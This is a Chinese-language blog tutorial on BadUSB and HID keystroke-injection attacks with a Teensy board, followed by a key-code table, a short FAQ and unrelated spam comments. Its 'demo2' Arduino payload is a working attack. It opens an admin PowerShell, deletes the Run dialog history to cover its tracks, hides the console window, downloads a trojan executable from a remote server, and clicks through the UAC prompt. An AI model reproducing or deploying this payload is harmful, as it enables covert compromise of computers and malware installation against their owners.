BadUSB原理
在介绍BadUSB的原理之前,笔者在这里先介绍下BadUSB出现之前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击的两种类型。分别是”USB RUBBERDUCKY”和”Teensy”。
TEENSY介绍
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。
关于TEENSY,可以参考天融信阿尔法实验室的《HID攻击之TEENSY实战》
USB RUBBER DUCKY介绍
简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。
这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。
U盘的内部构造
U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。
BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。
USB协议漏洞
为什么要重写固件呢?下面我们可以看看USB协议中存在的安全漏洞。
现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。
BadUSB利用代码分析
笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。
这样一个带有恶意代码的U盘就产生了,更详细的可以搜索Karsten Nohl 和 Jakob Lell公布的代码。
原理部分就不赘述了,接写来我们讲准备部分。
要实现USB端口攻击,我们需要:
1.Teensy 开发板(淘宝上有卖40块左右,都可以使用)
2.Arduino IDE (去官网上下载最新版本,请合理使用百度)
3.Teensy 客户端 https://www.pjrc.com/teensy/td_download.html
如果你想更深入了解关于黑客知识和理论,建议你使用 BACK I TRACK 龍 系统。
实战部分:
1.新建一个demo
void setup() { // put your setup code here, to run once: } void loop() { // put your main code here, to run repeatedly: } // step 是初始化程序的地方 // loop 是我们要放置循环的地方2.库函数及相关参数
#include<Keyboard.h> //包含键盘模块的头文件 Keyboard.begin(); //开启键盘通信 Keyboard.press(); //按下某个键 Keyboard.release(); //释放某个键 Keyboard.println(); /*输入某些内容 和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担心有办法回车*/ Keyboard.end(); //结束键盘通信3.demo 1
#include<Keyboard.h> //包含键盘模块头文件 void setup(); //初始化 Keyboard.begin();//开始键盘通信 delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样 Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题 Keyboard.release(KEY_CAPS_LOCK); //释放大写键 delay(500); Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键 delay(500); Keyboard.press('r');//按下r键 delay(500); Keyboard.release(KEY_LEFT_GUI);//松掉win键 Keyboard.release('r');//松掉r键 delay(500); Keyboard.println("cmd");//输入cmd进入DOS delay(500); Keyboard.press(KEY_RETURN); //按下回车键 Keyboard.release(KEY_RETURN); //释放回车键 delay(500); Keyboard.println("echo first test"); Keyboard.press(KEY_RETURN); //按下回车键 Keyboard.release(KEY_RETURN); //释放回车键 delay(500); Keyboard.press(KEY_CAPS_LOCK); //按下大写键 Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键 delay(500); Keyboard.end();//结束键盘通讯 } void loop()//循环,这里的代码 { //循环体 写入你要循环的代码 }编译成功
烧入程序
4.demo2
Keyboard.println("powershell.exe -command start-process powershell -verb runAs"); /*开启管理员级别的powershell*/ Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); /*清除运行窗口产生的记录*/ Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口 Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象 Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\\SUPER.EXE')"); /*从服务端下载病毒 服务器地址和木马自己指定 还有木马将在目标机上存放的地址 自己设置*/ //自己想了一个比较笨的方法绕过UAC 就是询问管理员是否同意的那个框框 Keyboard.press(KEY_LEFT_ARROW); //按住左方向键 Keyboard.release(KEY_LEFT_ARROW); //释放左方向键 Keyboard.press(KEY_RETURN); //按下回车键 Keyboard.release(KEY_RETURN);//释放enter键
- 这里我们为什么要开管理员的powershell 是因为从服务端下载文件的时候 首先CMD不支持,其次就算我们在cmd里调用powershell 那也不是管理员身份下载会出错。所以我们这里要开管理员的powershell 其实下载文件的操作code还有很多种 我这里是一种 如果大家有更好的下载方式可以和我说 谢谢 命令千奇百怪大家自己发挥
- 另外要注意的地方是在IDE编程的时候,指定目录是要用\\ 双斜杠。
- 这些命令字母的大小写是这样的,因为我们在程序开头执行了开启大写键的这个操作 ,所以我们想还原真实的字母就要在IDE里面把小写的改成大写,大写的改成小写 这样程序输出的时候就是我们想要的结果
- 还有就是delay(); 延这个东西自己把握,不是说值都是唯一的。我这里可能相对来说比较慢
最后附上键值表
Key Hexadecimal value Decimal value KEY_LEFT_CTRL 0x80 128 KEY_LEFT_SHIFT 0x81 129 KEY_LEFT_ALT 0x82 130 KEY_LEFT_GUI 0x83 131 KEY_RIGHT_CTRL 0x84 132 KEY_RIGHT_SHIFT 0x85 133 KEY_RIGHT_ALT 0x86 134 KEY_RIGHT_GUI 0x87 135 KEY_UP_ARROW 0xDA 218 KEY_DOWN_ARROW 0xD9 217 KEY_LEFT_ARROW 0xD8 216 KEY_RIGHT_ARROW 0xD7 215 KEY_BACKSPACE 0xB2 178 KEY_TAB 0xB3 179 KEY_RETURN 0xB0 176 KEY_ESC 0xB1 177 KEY_INSERT 0xD1 209 KEY_DELETE 0xD4 212 KEY_PAGE_UP 0xD3 211 KEY_PAGE_DOWN 0xD6 214 KEY_HOME 0xD2 210 KEY_END 0xD5 213 KEY_CAPS_LOCK 0xC1 193 KEY_F1 0xC2 194 KEY_F2 0xC3 195 KEY_F3 0xC4 196 KEY_F4 0xC5 197 KEY_F5 0xC6 198 KEY_F6 0xC7 199 KEY_F7 0xC8 200 KEY_F8 0xC9 201 KEY_F9 0xCA 202 KEY_F10 0xCB 203 KEY_F11 0xCC 204 KEY_F12 0xCD 205参考http://www.freebuf.com/sectool/107242.html
FAQ
1.'Keyboard' was not declared in this scope?
安装keyboard库就好。具体查看Arduino官网。
http://www.visualmicro.com/forums/yabb.pl?num=1412496583
八月 | ||||||
---|---|---|---|---|---|---|
日 | 一 | 二 | 三 | 四 | 五 | 六 |
28 | 29 | 30 | 31 | 1 | 2 | 3 |
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
2018年7月15日 17:25
Proper information about bad USB as you try to point out in this share, this is very helpful for users buddy. Now students of whole world can hire best custom essay service online in easy way for writing of mistake free works.
2018年8月24日 17:31
This is a very amazing post by the author for us to read.
2018年9月03日 16:46
This skill has a cooldown of 20 hours so you can use it at least once everyday. If you login to your farms 4 times a day, you can do metal one time with the skill activated and your primary resource 3 times.
2019年10月08日 12:28
You're my end and my beginning
Even when I lose I'm winning
2022年9月29日 14:13
Based on the newly revised syllabus and curriculum the NCERT has introduced Physical Science sample paper suggestions are published to know the new exam scheme of Term-1 & Term-2 exams such as SA1, SA2, FA1, FA2, FA3, FA4, Assignments and etc. NCERT Physics Question Paper Class 9 Those who have downloaded and studied the NCERT 9th Class Physics Sample Paper 2023 Pdf can get the complete structure of the exam for Part-A, Part-B, Part-C and Part-D exams for Paper-1 & Paper-2.
2023年1月20日 19:15
Good to see the details regarding the implementation of the USB attack you have shared here. The author in this diamond rings article introduces the two types of attacks using HID (Human Interface Device, which is a device that directly interacts with humans, such as keyboards and mice, etc.) before BadUSB appeared. Godo to see the details shared here.
2023年1月25日 17:25
CIF abbreviated as Customer Information File is an official file which saved at Bank database when account created. These CIF files do contain important information about the SBI account holder along with the demographic information. CIF number of SBI State Bank of India does provide a unique CIF number to each CIF file when it created. So that it becomes easier to locate the file with respect to the customer account number. State bank of India is a leading bank in India with its branches around the world.